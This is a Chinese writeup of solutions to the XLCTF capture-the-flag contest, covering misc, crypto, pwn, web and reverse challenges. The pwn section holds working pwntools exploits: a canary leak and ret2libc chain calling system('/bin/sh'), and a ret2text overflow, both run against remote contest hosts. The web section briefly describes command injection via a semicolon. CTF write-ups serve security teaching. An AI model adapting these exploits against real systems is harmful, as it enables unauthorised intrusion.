湘岚杯 - XLCTF Writeup

Misc

别呀啦(签到)

XLCTF{}

解题步骤

  1. 打开附件压缩包,找到修改时间最新的文件,顺着解压出来,即可找到FLAG所在的文件。

Flag

1
XLCTF{xnnxixixi6-666-666-love}

宇宙编史

解题步骤

  1. 打开下载下来的压缩包,发现有加密。
  1. 拖进010Editor,发现是伪加密,将加密标志位改回,即可正常解压压缩包。
  1. 用Vim查看解压出来的文本文件,找到一段零宽字符隐写。
  1. 使用零宽字符在线解密网站,解码后即可获得flag。

Flag

1
flag{you_know_use_0_zero}

寻找flag碎片之旅

你就是传说中的勇者!快去寻找FLAG碎片拯救世界吧! (flag全是大写字母,并且没有空格)

备用链接:https://mega.nz/file/NnsmESjZ#-U9Ng4Ftp6qAZYzy0cj0L2HH8JqbQS8UpZzvYBxmyCE

解题步骤

  1. 首先使用“RPGMaker Decrypter”工具将“Game.rgss3a”文件解包。
  1. FLAG2、FLAG3、FLAG5,可以直接在解包出来的data文件中找到。
1
2
3
FLAG2:MISC_QUESTIONS_
FLAG3:THAT_
FLAG5:_ENJOY!
  1. 根据“一轮强劲的音乐响起,好像是一首很欢快的歌。”、“这首歌还有劲爆尾杀,真不错!”、“这是我的treasure!”等提示,找到“Audio”文件夹下的“这是我的

    treasure!.wav”文件,查看音频结尾的频谱,即可找到FLAG1。

1
FLAG1:flag{I_LOVE_
  1. 根据游戏中的提示,异或解密,即可获得FLAG4。

    image​​image

解密脚本

1
2
3
4
5
6
plaintext = "misc_nooba"
ciphertext = "wsiyEtuux["
new_ciphertext = "\V[]. _L_HCUT_EY[T"
key = [ord(p) ^ ord(c) for p, c in zip(plaintext, ciphertext)]
decrypted_text = ''.join(chr(ord(c) ^ key[i % len(key)]) for i, c in enumerate(new_ciphertext))
print(decrypted_text)
1
FLAG4:EVERYONE_CAN

Flag

1
flag{I_LOVE_MISC_QUESTIONS_THAT_EVERYONE_CAN_ENJOY!}

Crypto

RSA就是数学口牙(签到)

就是简单的数学运算口牙

exp

1
2
3
4
5
6
7
8
9
10
11
12
import gmpy2
T = 0x1232fecb92adead91613e7d9ae5e36fe6bb765317d6ed38ad890b4073539a6231a6620584cea5730b5af83a3e80cf30141282c97be4400e33307573af6b25e2ea
Y = 0x5248becef1d925d45705a7302700d6a0ffe5877fddf9451a9c1181c4d82365806085fd86fbaab08b6fc66a967b2566d743c626547203b34ea3fdb1bc06dd3bb765fd8b919e3bd2cb15bc175c9498f9d9a0e216c2dde64d81255fa4c05a1ee619fc1fc505285a239e7bc655ec6605d9693078b800ee80931a7a0c84f33c851740
c = 0x21bfef2961c512fbb81fd75ca1c38cbc810dee21d04de1e749c9a24cc975447acc1098228108f25a5ab4840212b2c0f305aabb17ee6835599425ffeedb85698ff9edbc70d9e87acd5232526304948f806c0283776d3eb217599e06616a12d899b14723bfeb29becb10e464247760f828463eb4f0536244771c648b6445fab855
e = 0xe6b1bee47bd63f615c7d0a43c529d219
n = Y - T - 1
discriminant = gmpy2.isqrt(T**2 - 4 * n)
p, q = (T + discriminant) // 2, (T - discriminant) // 2
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(f"FLAG: {bytes.fromhex(hex(m)[2:]).decode('utf-8')}")

Flag

1
flag{Aurora_CAL}

你真的懂社会主义核心价值观吗

解题步骤

  1. 社会主义核心价值观解码。
  1. Base64解码即可得到Flag。

Flag

1
XLCTF{HunanFirstNormalUniversityisverybeautiful}

Pwn

ezlibc

小小金丝雀,逃不出我的手掌心!

Ubuntu18

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')

# 远程连接
io = remote("xlctf.huhstsec.top", 32049)
elf = ELF('./ezlibc')

# 获取GOT和PLT表中的puts函数地址
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

# ROP链中的关键地址
rdi = 0x400843
ret = 0x40059e
bug = 0x4006E7

# 读取flag提示并构造payload1
io.recvuntil(b"flag!")
io.sendline(b"A" * 0x28)
io.recvuntil(b"A" * 0x28)

# 获取canary值
canary = u64(io.recv(8)) - 0xa
print(f"canary: {hex(canary)}")

# 构造第一个payload,泄露puts函数的地址
payload1 = b'a' * 0x28 + p64(canary) + b'a' * 0x08 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(bug)
io.sendlineafter(b'key', payload1)

# 读取puts函数地址并计算libc基地址
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(f"puts_addr: {hex(puts_addr)}")

# 根据puts函数地址计算libc的基地址
base = puts_addr - 0x080970
system = base + 0x04f420
bin_sh = base + 0x1b3d88

# 构造第二个payload,调用system("/bin/sh")
payload2 = b'a' * 0x28 + p64(canary) + b'a' * 0x08 + p64(ret) + p64(rdi) + p64(bin_sh) + p64(system)
io.sendlineafter(b'flag!', payload2)

# 交互
io.interactive()

Flag

1
XLCTF{1dab3aa8-3859-4492-a87f-a801eadff895}

ret2text签到

简单的签到

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

# 配置环境
context(os='linux', arch='amd64', log_level='debug')

# 远程连接目标
io = remote("xlctf.huhstsec.top", 37661)

# 构造payload
padding = b'a' * 0xA # 填充部分
canary_padding = b'a' * 0x08 # Canary的填充部分
target_address = p64(0x40115A) # 目标地址

# 合成完整的payload
payload = padding + canary_padding + target_address

# 发送payload并开始交互
io.sendlineafter(b'welcome xlctf', payload)
io.interactive()

Flag

1
XLCTF{bdfd16ac-ef28-47af-9b0d-f65eee02fea7}

Web

大道轮回

取得真经,终得正果

解题步骤

  1. 编写脚本,跑出sha256变量正确的值。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import hashlib

# 固定前缀
prefix = "XNCTF"
target = "647d99"

i = 0
while True:
# 测试值由固定前缀和变化的数字部分组成
test_str = f"{prefix}{i}"
hash_val = hashlib.sha256(test_str.encode()).hexdigest()
if hash_val.startswith(target):
print(f"Found: {test_str} => {hash_val}")
break
i += 1
1
Found: XNCTF5126300 => 647d9917cbb84ab2a3bd3c0e3be78ffb5cee8e7736458c2f27335f8e9c48fde8
  1. 使用分号绕过输出重定向,显示回显,即可成功RCE。

Flag

1
XLCTF{d50a226b-6453-43a1-97ee-bf53d196c5df}

Reverse

ezbase

解题步骤

  1. 使用”Exeinfo PE“对程序进行查壳,发现程序有upx壳。
  1. 使用upx脱壳不成功,发现壳被修改。
  1. 使用”010Editor“改回来即可正常脱壳。​​
  1. 使用ida打开,分析主要的代码逻辑。
  • 初始化与输入

    • Buf2​被初始化为一个固定的字符串,"8CJJ8z918CyC3HtzObOJcov3B2Sh8upqNu6ic/hxZjeJcotz8CkJcoY9"​。
    • 程序提示用户输入一个42字符的字符串(Str​),这就是用户尝试提供的密码。
  • XOR加密

    • 如果输入的字符串长度是42,程序会遍历字符串的每个字符,对其进行异或操作(Str[i] ^= 0x10​)。
  • Base64编码

    • 程序会根据处理后的字符串Str​的长度计算出一个新字符串v18​,并将其填充为Base64编码后的值。base64_encode​函数将加密后的字符串Str​转换为Base64格式的编码,存储在v18​中。
    • 分析base64_en​函数,发现程序更换了Base64的码表,使用的码表为”Fvm/RkQucZNVyYABpS2w6enjdtGPO8UalxrbD45Ci07MT9KLEJo1h3zHgfX+WqsI“
  • 交换字符

    • 程序交换了v18​中的第12个和第18个字符:v17 = v18[12]; v18[12] = v18[18]; v18[18] = v17;​。
  1. 根据分析的代码逻辑,逐步倒推解码即可获得Flag。

Flag

1
flag{cfc7cffb-a30e-4ddd-8e80-15ea36ffaa33}